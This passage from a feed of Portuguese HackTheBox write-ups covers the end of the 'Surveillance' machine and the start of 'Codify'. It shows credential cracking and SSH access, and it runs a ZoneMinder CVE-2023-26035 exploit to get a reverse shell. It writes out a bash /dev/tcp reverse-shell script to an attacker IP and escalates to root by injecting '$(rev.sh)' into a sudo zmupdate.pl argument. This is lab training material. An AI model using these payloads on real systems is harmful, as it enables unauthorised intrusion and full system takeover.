Candidates.#1....: starfish789 -&amp;gt; starbowser
Hardware.Mon.#1..: Util: 42%

Started: Mon Dec 11 21:32:04 2023
Stopped: Mon Dec 11 21:32:31 2023
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;E aqui conseguimos a senha do usuário &lt;strong&gt;admin&lt;/strong&gt;, que é o pertencente a &lt;strong&gt;Matthew B&lt;/strong&gt;. Esse usuário existe no servidor como vimos em nossa enumeração inicial.&lt;br&gt;
Via ssh conseguimos acesso com o usuário &lt;strong&gt;matthew&lt;/strong&gt;!&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;┌──&lt;span class="o"&gt;(&lt;/span&gt;root㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-[/home/kali/hackthebox/machines-linux/surveillance]
└─# ssh matthew@surveillance.htb
matthew@surveillance.htb&lt;span class="s1"&gt;'s password:
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-89-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Tue Dec 12 02:34:21 AM UTC 2023

  System load:  0.08935546875     Processes:             233
  Usage of /:   85.1% of 5.91GB   Users logged in:       0
  Memory usage: 16%               IPv4 address for eth0: 10.129.45.83
  Swap usage:   0%

  =&amp;gt; / is using 85.1% of 5.91GB


Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status


Last login: Tue Dec  5 12:43:54 2023 from 10.10.14.40
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;E assim conseguimos a user flag.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;matthew@surveillance:~&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-a&lt;/span&gt;
&lt;span class="nb"&gt;.&lt;/span&gt;  ..  .bash_history  .bash_logout  .bashrc  .cache  .profile  user.txt
matthew@surveillance:~&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;cat &lt;/span&gt;user.txt
b4ddc33ff47b1d8534c59a7609b48f13
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Movimentação lateral
&lt;/h3&gt;

&lt;p&gt;Agora que temos acesso ssh com o usuário &lt;strong&gt;matthew&lt;/strong&gt; vamos novamente realizar uma enumeração em busca de uma forma de escalar privilégios para root.&lt;br&gt;&lt;br&gt;
Analisando novos arquivos em busca de dados sensíveis conseguimos os seguintes dados de acesso a outro banco de dados:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nt"&gt;-rw-r--r--&lt;/span&gt; 1 root zoneminder 3503 Oct 17 11:32 /usr/share/zoneminder/www/api/app/Config/database.php
        &lt;span class="s1"&gt;'password'&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; ZM_DB_PASS,
        &lt;span class="s1"&gt;'database'&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; ZM_DB_NAME,
        &lt;span class="s1"&gt;'host'&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="s1"&gt;'localhost'&lt;/span&gt;,
        &lt;span class="s1"&gt;'password'&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="s1"&gt;'ZoneMinderPassword2023'&lt;/span&gt;,
        &lt;span class="s1"&gt;'database'&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="s1"&gt;'zm'&lt;/span&gt;,
                &lt;span class="nv"&gt;$this&lt;/span&gt;-&amp;gt;default[&lt;span class="s1"&gt;'host'&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$array&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;0]&lt;span class="p"&gt;;&lt;/span&gt;
            &lt;span class="nv"&gt;$this&lt;/span&gt;-&amp;gt;default[&lt;span class="s1"&gt;'host'&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; ZM_DB_HOST&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Estes dados são pertencentes a uma aplicação chamada &lt;strong&gt;Zoneminder&lt;/strong&gt;. O zoneminder é uma aplicação open source para monitoramento via circuito fechado de televisão, cameras de segurança basicamente.&lt;br&gt;
Um ponto interessante é que temos outro usuário chamado &lt;strong&gt;zoneminder&lt;/strong&gt; e uma aplicação rodando na porta &lt;strong&gt;8080&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Buscando por vulnerabilidades conhecidas para o &lt;strong&gt;zoneminder&lt;/strong&gt; encontramos a &lt;strong&gt;&lt;a href="https://nvd.nist.gov/vuln/detail/CVE-2023-26035" rel="noopener noreferrer"&gt;CVE-2023-26035&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;A CVE se trata de um &lt;strong&gt;Unauthorized Remote Code Execution.&lt;/strong&gt; Na ação de realizar um snapshot não é validado se a requisição tem permissão para executar, que espera um ID busque um monitor existente, mas permite que seja passado um objeto para criar um novo. A função &lt;strong&gt;TriggerOn&lt;/strong&gt; chamada um &lt;strong&gt;shell_exec&lt;/strong&gt; usando o ID fornecido, gerando assim um RCE.&lt;/p&gt;

&lt;p&gt;Para conseguimos executar precisamos criar um túnel para que a aplicação local consiga ser acessada de nossa máquina, para isso vamos utilizar o ssh:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;┌──&lt;span class="o"&gt;(&lt;/span&gt;root�kali&lt;span class="o"&gt;)&lt;/span&gt;-[/home/kali/hackthebox/machines-linux/surveillance]
└─# ssh &lt;span class="nt"&gt;-L&lt;/span&gt; 8081:127.0.0.1:8080 matthew@surveillance.htb
matthew@surveillance.htb&lt;span class="s1"&gt;'s password: 
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-89-generic x86_64)
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Iremos utilizar neste writeup esta &lt;a href="https://github.com/rvizx/CVE-2023-26035" rel="noopener noreferrer"&gt;POC&lt;/a&gt;.&lt;br&gt;
Primeiramente iremos utilizar o &lt;a href="https://github.com/calebstewart/pwncat" rel="noopener noreferrer"&gt;pwncat&lt;/a&gt; para ouvir na porta 9002:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;┌──&lt;span class="o"&gt;(&lt;/span&gt;root�kali&lt;span class="o"&gt;)&lt;/span&gt;-[/home/kali/hackthebox/machines-linux/surveillance]
└─# pwncat-cs &lt;span class="nt"&gt;-lp&lt;/span&gt; 9002
&lt;span class="o"&gt;[&lt;/span&gt;21:01:10] Welcome to pwncat 🐈!                                                                                                 __main__.py:164
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Com o repositório devidamente clonado em nossa máquina executaremos da seguinte forma:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;┌──&lt;span class="o"&gt;(&lt;/span&gt;root�kali&lt;span class="o"&gt;)&lt;/span&gt;-[/home/kali/hackthebox/machines-linux/surveillance/CVE-2023-26035]
└─# python3 exploit.py &lt;span class="nt"&gt;-t&lt;/span&gt; http://127.0.0.1:8081 &lt;span class="nt"&gt;-ip&lt;/span&gt; 10.10.14.174 &lt;span class="nt"&gt;-p&lt;/span&gt; 9002
&lt;span class="o"&gt;[&amp;gt;]&lt;/span&gt; fetching csrt token
&lt;span class="o"&gt;[&amp;gt;]&lt;/span&gt; recieved the token: key:f3dbd44dfe36d9bf315bcf7b9ad29a97463a4bb7,1702432913
&lt;span class="o"&gt;[&amp;gt;]&lt;/span&gt; executing...
&lt;span class="o"&gt;[&amp;gt;]&lt;/span&gt; sending payload..
&lt;span class="o"&gt;[!]&lt;/span&gt; failed to send payload
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Mesmo com a mensagem de falha no envio do payload temos o seguinte retorno em nosso pwncat:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;┌──&lt;span class="o"&gt;(&lt;/span&gt;root�kali&lt;span class="o"&gt;)&lt;/span&gt;-[/home/kali/hackthebox/machines-linux/surveillance]
└─# pwncat-cs &lt;span class="nt"&gt;-lp&lt;/span&gt; 9002
&lt;span class="o"&gt;[&lt;/span&gt;21:01:10] Welcome to pwncat 🐈!                                                                                                 __main__.py:164
&lt;span class="o"&gt;[&lt;/span&gt;21:01:55] received connection from 10.129.44.183:43356                                                                               bind.py:84
&lt;span class="o"&gt;[&lt;/span&gt;21:02:04] 10.129.44.183:43356: registered new host w/ db                                                                         manager.py:957
&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;local&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; pwncat&lt;span class="nv"&gt;$ &lt;/span&gt;                                                                                                                                
&lt;span class="o"&gt;(&lt;/span&gt;remote&lt;span class="o"&gt;)&lt;/span&gt; zoneminder@surveillance:/usr/share/zoneminder/www&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-lah&lt;/span&gt; /home/zoneminder/
total 20K
drwxr-x--- 2 zoneminder zoneminder 4.0K Nov  9 12:46 &lt;span class="nb"&gt;.&lt;/span&gt;
drwxr-xr-x 4 root       root       4.0K Oct 17 11:20 ..
lrwxrwxrwx 1 root       root          9 Nov  9 12:46 .bash_history -&amp;gt; /dev/null
&lt;span class="nt"&gt;-rw-r--r--&lt;/span&gt; 1 zoneminder zoneminder  220 Oct 17 11:20 .bash_logout
&lt;span class="nt"&gt;-rw-r--r--&lt;/span&gt; 1 zoneminder zoneminder 3.7K Oct 17 11:20 .bashrc
&lt;span class="nt"&gt;-rw-r--r--&lt;/span&gt; 1 zoneminder zoneminder  807 Oct 17 11:20 .profile
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Conseguindo assim shell como o usuário &lt;strong&gt;zoneminder&lt;/strong&gt;. Mais uma vez iremos realizar uma enumeração.&lt;br&gt;&lt;br&gt;
Atráves do comando &lt;strong&gt;sudo&lt;/strong&gt; conseguimos visualizar um comando que o usuário &lt;strong&gt;zoneminder&lt;/strong&gt; consegue executar com permissões de root:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="o"&gt;(&lt;/span&gt;remote&lt;span class="o"&gt;)&lt;/span&gt; zoneminder@surveillance:/usr/share/zoneminder/www&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;sudo&lt;/span&gt; &lt;span class="nt"&gt;-l&lt;/span&gt;
Matching Defaults entries &lt;span class="k"&gt;for &lt;/span&gt;zoneminder on surveillance:
    env_reset, mail_badpass, &lt;span class="nv"&gt;secure_path&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;/usr/local/sbin&lt;span class="se"&gt;\:&lt;/span&gt;/usr/local/bin&lt;span class="se"&gt;\:&lt;/span&gt;/usr/sbin&lt;span class="se"&gt;\:&lt;/span&gt;/usr/bin&lt;span class="se"&gt;\:&lt;/span&gt;/sbin&lt;span class="se"&gt;\:&lt;/span&gt;/bin&lt;span class="se"&gt;\:&lt;/span&gt;/snap/bin, use_pty

User zoneminder may run the following commands on surveillance:
    &lt;span class="o"&gt;(&lt;/span&gt;ALL : ALL&lt;span class="o"&gt;)&lt;/span&gt; NOPASSWD: /usr/bin/zm[a-zA-Z]&lt;span class="k"&gt;*&lt;/span&gt;.pl &lt;span class="k"&gt;*&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;O usuário pode executar qualquer script que esteja no diretório &lt;strong&gt;/usr/bin&lt;/strong&gt; que inicie seu nome com &lt;strong&gt;zm&lt;/strong&gt; e finalize com a extensão &lt;strong&gt;.pl&lt;/strong&gt; que é referente a linguagem &lt;strong&gt;perl&lt;/strong&gt;. Também podemos passar paramêtros.&lt;/p&gt;

&lt;p&gt;Aqui estão todos os scripts que conseguimos executar como usuário root:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="o"&gt;(&lt;/span&gt;remote&lt;span class="o"&gt;)&lt;/span&gt; zoneminder@surveillance:/home/zoneminder&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-alh&lt;/span&gt; /usr/bin/zm&lt;span class="k"&gt;*&lt;/span&gt;.pl
&lt;span class="nt"&gt;-rwxr-xr-x&lt;/span&gt; 1 root root  43K Nov 23  2022 /usr/bin/zmaudit.pl
&lt;span class="nt"&gt;-rwxr-xr-x&lt;/span&gt; 1 root root  13K Nov 23  2022 /usr/bin/zmcamtool.pl
&lt;span class="nt"&gt;-rwxr-xr-x&lt;/span&gt; 1 root root 6.0K Nov 23  2022 /usr/bin/zmcontrol.pl
&lt;span class="nt"&gt;-rwxr-xr-x&lt;/span&gt; 1 root root  26K Nov 23  2022 /usr/bin/zmdc.pl
&lt;span class="nt"&gt;-rwxr-xr-x&lt;/span&gt; 1 root root  35K Nov 23  2022 /usr/bin/zmfilter.pl
&lt;span class="nt"&gt;-rwxr-xr-x&lt;/span&gt; 1 root root 5.6K Nov 23  2022 /usr/bin/zmonvif-probe.pl
&lt;span class="nt"&gt;-rwxr-xr-x&lt;/span&gt; 1 root root  19K Nov 23  2022 /usr/bin/zmonvif-trigger.pl
&lt;span class="nt"&gt;-rwxr-xr-x&lt;/span&gt; 1 root root  14K Nov 23  2022 /usr/bin/zmpkg.pl
&lt;span class="nt"&gt;-rwxr-xr-x&lt;/span&gt; 1 root root  18K Nov 23  2022 /usr/bin/zmrecover.pl
&lt;span class="nt"&gt;-rwxr-xr-x&lt;/span&gt; 1 root root 4.8K Nov 23  2022 /usr/bin/zmstats.pl
&lt;span class="nt"&gt;-rwxr-xr-x&lt;/span&gt; 1 root root 2.1K Nov 23  2022 /usr/bin/zmsystemctl.pl
&lt;span class="nt"&gt;-rwxr-xr-x&lt;/span&gt; 1 root root  13K Nov 23  2022 /usr/bin/zmtelemetry.pl
&lt;span class="nt"&gt;-rwxr-xr-x&lt;/span&gt; 1 root root 5.3K Nov 23  2022 /usr/bin/zmtrack.pl
&lt;span class="nt"&gt;-rwxr-xr-x&lt;/span&gt; 1 root root  19K Nov 23  2022 /usr/bin/zmtrigger.pl
&lt;span class="nt"&gt;-rwxr-xr-x&lt;/span&gt; 1 root root  45K Nov 23  2022 /usr/bin/zmupdate.pl
&lt;span class="nt"&gt;-rwxr-xr-x&lt;/span&gt; 1 root root 8.1K Nov 23  2022 /usr/bin/zmvideo.pl
&lt;span class="nt"&gt;-rwxr-xr-x&lt;/span&gt; 1 root root 6.9K Nov 23  2022 /usr/bin/zmwatch.pl
&lt;span class="nt"&gt;-rwxr-xr-x&lt;/span&gt; 1 root root  20K Nov 23  2022 /usr/bin/zmx10.pl
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Foi necessário descobrir o que cada script faz, no entanto, fica mais simples quando olhamos esta &lt;strong&gt;&lt;a href="https://zoneminder.readthedocs.io/en/1.32.3/userguide/components.html" rel="noopener noreferrer"&gt;documentação&lt;/a&gt;&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;O foco foi tentar explorar scripts que podemos inserir dados, ou seja, scripts que aceitem parâmetros do usuário.&lt;br&gt;&lt;br&gt;
Outro ponto importante é que se for inserido o payload e ele for executado no inicialmente o mesmo será feito como usuário &lt;strong&gt;zoneminder&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Precisamos que nosso payload seja carregado e executado posteriormente, de forma que seja executado pelo usuário &lt;strong&gt;root&lt;/strong&gt;.&lt;br&gt;&lt;br&gt;
Dentre os scripts nos temos o &lt;strong&gt;zmupdate.pl&lt;/strong&gt; que é responsável por checar se existem updates para o ZoneMinder e ira executar &lt;strong&gt;migrations&lt;/strong&gt; de atualização. No entanto o mesmo realiza um backup do banco utilizando o &lt;strong&gt;mysqldump&lt;/strong&gt;, comando esse que recebe input do usuário (usuário e senha) e executa como root.&lt;/p&gt;

&lt;p&gt;Inicialmente vamos criar um arquivo chamado &lt;strong&gt;rev.sh&lt;/strong&gt; com o seguinte conteúdo:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;#!/bin/bash&lt;/span&gt;
sh &lt;span class="nt"&gt;-i&lt;/span&gt; 5&amp;lt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; /dev/tcp/10.10.14.229/9001 0&amp;lt;&amp;amp;5 1&amp;gt;&amp;amp;5 2&amp;gt;&amp;amp;5
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;E localmente em nossa máquina vamos utilizar o pwncat para ouvir na porta 9001:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;┌──&lt;span class="o"&gt;(&lt;/span&gt;root㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-[/home/kali/hackthebox/machines-linux/surveillance]
└─# pwncat-cs &lt;span class="nt"&gt;-lp&lt;/span&gt; 9001
&lt;span class="o"&gt;[&lt;/span&gt;17:14:01] Welcome to pwncat 🐈!                                                              __main__.py:164
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Agora iremos inserir no input do script o comando &lt;strong&gt;'$(/home/zoneminder/rev.sh)'&lt;/strong&gt; que será salvo como variável exatamente da forma como esta, sem executar, devido as aspas simples que faz com que os caracteres especiais sejas lidos literalmente.&lt;br&gt;&lt;br&gt;
Executaremos da seguinte forma:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="o"&gt;(&lt;/span&gt;remote&lt;span class="o"&gt;)&lt;/span&gt; zoneminder@surveillance:/home/zoneminder&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;sudo&lt;/span&gt; /usr/bin/zmupdate.pl &lt;span class="nt"&gt;--version&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;1 &lt;span class="nt"&gt;--user&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;'$(/home/zoneminder/rev.sh)'&lt;/span&gt; &lt;span class="nt"&gt;--pass&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;ZoneMinderPassword2023

Initiating database upgrade to version 1.36.32 from version 1

WARNING - You have specified an upgrade from version 1 but the database version found is 1.26.0. Is this correct?
Press enter to &lt;span class="k"&gt;continue &lt;/span&gt;or ctrl-C to abort : 

Do you wish to take a backup of your database prior to upgrading?
This may result &lt;span class="k"&gt;in &lt;/span&gt;a large file &lt;span class="k"&gt;in&lt;/span&gt; /tmp/zm &lt;span class="k"&gt;if &lt;/span&gt;you have a lot of events.
Press &lt;span class="s1"&gt;'y'&lt;/span&gt; &lt;span class="k"&gt;for &lt;/span&gt;a backup or &lt;span class="s1"&gt;'n'&lt;/span&gt; to &lt;span class="k"&gt;continue&lt;/span&gt; : y
Creating backup to /tmp/zm/zm-1.dump. This may take several minutes.

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A senha do banco é a mesma que conseguimos anteriormente. E assim temos o seguinte retorno em nosso pwncat:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;┌──&lt;span class="o"&gt;(&lt;/span&gt;root㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-[/home/kali/hackthebox/machines-linux/surveillance]
└─# pwncat-cs &lt;span class="nt"&gt;-lp&lt;/span&gt; 9001
&lt;span class="o"&gt;[&lt;/span&gt;17:14:01] Welcome to pwncat 🐈!                                                              __main__.py:164
&lt;span class="o"&gt;[&lt;/span&gt;17:18:06] received connection from 10.129.42.193:39340                                            bind.py:84
&lt;span class="o"&gt;[&lt;/span&gt;17:18:10] 0.0.0.0:9001: normalizing shell path                                                manager.py:957
&lt;span class="o"&gt;[&lt;/span&gt;17:18:12] 0.0.0.0:9001: upgrading from /usr/bin/dash to /bin/bash                             manager.py:957
&lt;span class="o"&gt;[&lt;/span&gt;17:18:14] 10.129.42.193:39340: registered new host w/ db                                      manager.py:957
&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;local&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; pwncat&lt;span class="nv"&gt;$ &lt;/span&gt;                                                                                             
&lt;span class="o"&gt;(&lt;/span&gt;remote&lt;span class="o"&gt;)&lt;/span&gt; root@surveillance:/home/zoneminder# &lt;span class="nb"&gt;id
&lt;/span&gt;&lt;span class="nv"&gt;uid&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;0&lt;span class="o"&gt;(&lt;/span&gt;root&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="nv"&gt;gid&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;0&lt;span class="o"&gt;(&lt;/span&gt;root&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="nb"&gt;groups&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;0&lt;span class="o"&gt;(&lt;/span&gt;root&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Conseguimos shell como root! Podemos buscar a root flag!&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="o"&gt;(&lt;/span&gt;remote&lt;span class="o"&gt;)&lt;/span&gt; root@surveillance:/home/zoneminder# &lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-a&lt;/span&gt; /root
&lt;span class="nb"&gt;.&lt;/span&gt;  ..  .bash_history  .bashrc  .cache  .config  .local  .mysql_history  .profile  root.txt  .scripts  .ssh
&lt;span class="o"&gt;(&lt;/span&gt;remote&lt;span class="o"&gt;)&lt;/span&gt; root@surveillance:/home/zoneminder# &lt;span class="nb"&gt;cat&lt;/span&gt; /root/root.txt 
4e69a27f8fc2279a0a149909c8ff2af4
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Um ponto interessante agora que estamos como usuário root e visualizar nos processos como foi executado o comando de &lt;strong&gt;mysqldump&lt;/strong&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="o"&gt;(&lt;/span&gt;remote&lt;span class="o"&gt;)&lt;/span&gt; root@surveillance:/home/zoneminder# ps aux | &lt;span class="nb"&gt;grep &lt;/span&gt;mysqldump
root        3035  0.0  0.0   2888  1064 pts/3    S+   22:18   0:00 sh &lt;span class="nt"&gt;-c&lt;/span&gt; mysqldump &lt;span class="nt"&gt;-u&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;/home/zoneminder/rev.sh&lt;span class="si"&gt;)&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt;&lt;span class="s1"&gt;'ZoneMinderPassword2023'&lt;/span&gt; &lt;span class="nt"&gt;-hlocalhost&lt;/span&gt; &lt;span class="nt"&gt;--add-drop-table&lt;/span&gt; &lt;span class="nt"&gt;--databases&lt;/span&gt; zm &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; /tmp/zm/zm-1.dump
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Como planejamos o valor foi mantido inicialmente, somente na segunda execução que interpretou o caracter especial executando o comando.&lt;br&gt;&lt;br&gt;
E assim finalizamos a máquina &lt;strong&gt;Surveillence&lt;/strong&gt;!&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F4e1d69yu3egxaaoskehc.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F4e1d69yu3egxaaoskehc.png" alt="Pwned!" width="564" height="509"&gt;&lt;/a&gt;&lt;/p&gt;

</description>
      <category>security</category>
      <category>hackthebox</category>
      <category>perl</category>
      <category>cybersecurity</category>
    </item>
    <item>
      <title>HackTheBox - Writeup Codify [Retired]</title>
      <dc:creator>Guilherme Martins</dc:creator>
      <pubDate>Sat, 06 Apr 2024 16:56:23 +0000</pubDate>
      <link>https://dev.to/mrtnsgs/hackthebox-writeup-codify-retired-56ea</link>
      <guid>https://dev.to/mrtnsgs/hackthebox-writeup-codify-retired-56ea</guid>
      <description>&lt;h3&gt;
  
  
  Hackthebox
&lt;/h3&gt;

&lt;p&gt;Neste writeup iremos explorar uma máquina linux de nível easy chamada Codify que aborda as seguintes vulnerabilidades e técnicas de exploração:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;NodeJS SandBox Escape&lt;/li&gt;
&lt;li&gt;Bad Practice with password re-use&lt;/li&gt;
&lt;li&gt;Bash conditional abuse&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Recon e user flag
&lt;/h3&gt;

&lt;p&gt;Iremos iniciar realizando uma varredura no ip do alvo em busca de portas abertas utilizando o nmap:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;┌──&lt;span class="o"&gt;(&lt;/span&gt;root㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-[/home/kali/hackthebox/machines-linux/codify]
└─# nmap &lt;span class="nt"&gt;-sV&lt;/span&gt; &lt;span class="nt"&gt;--open&lt;/span&gt; &lt;span class="nt"&gt;-Pn&lt;/span&gt; 10.129.67.147
Starting Nmap 7.93 &lt;span class="o"&gt;(&lt;/span&gt; https://nmap.org &lt;span class="o"&gt;)&lt;/span&gt; at 2023-11-06 14:59 EST
Nmap scan report &lt;span class="k"&gt;for &lt;/span&gt;10.129.67.147
Host is up &lt;span class="o"&gt;(&lt;/span&gt;0.25s latency&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="nb"&gt;.&lt;/span&gt;
Not shown: 997 closed tcp ports &lt;span class="o"&gt;(&lt;/span&gt;reset&lt;span class="o"&gt;)&lt;/span&gt;
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 &lt;span class="o"&gt;(&lt;/span&gt;Ubuntu Linux&lt;span class="p"&gt;;&lt;/span&gt; protocol 2.0&lt;span class="o"&gt;)&lt;/span&gt;
80/tcp   open  http    Apache httpd 2.4.52
3000/tcp open  http    Node.js Express framework
Service Info: Host: codify.htb&lt;span class="p"&gt;;&lt;/span&gt; OS: Linux&lt;span class="p"&gt;;&lt;/span&gt; CPE: cpe:/o:linux:linux_kernel
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Existem três portas abertas no host:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;22 é a porta do ssh,&lt;/li&gt;
&lt;li&gt;80 esta rodando um Apache, que é um servidor web,&lt;/li&gt;
&lt;li&gt;3000 esta rodando um aplicação em NodeJS, que é um framework para javascript.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Também temos o retorno do host utilizado (&lt;strong&gt;codify.htb&lt;/strong&gt;), vamos adicionar em nosso &lt;strong&gt;/etc/hosts&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Acessando a porta 80 através do navegador temos um site que emula uma sandbox para testar código em NodeJS:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fosny91nqcgkbe2zqqgrf.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fosny91nqcgkbe2zqqgrf.png" alt="Sandbox" width="800" height="466"&gt;&lt;/a&gt;&lt;/p&gt;

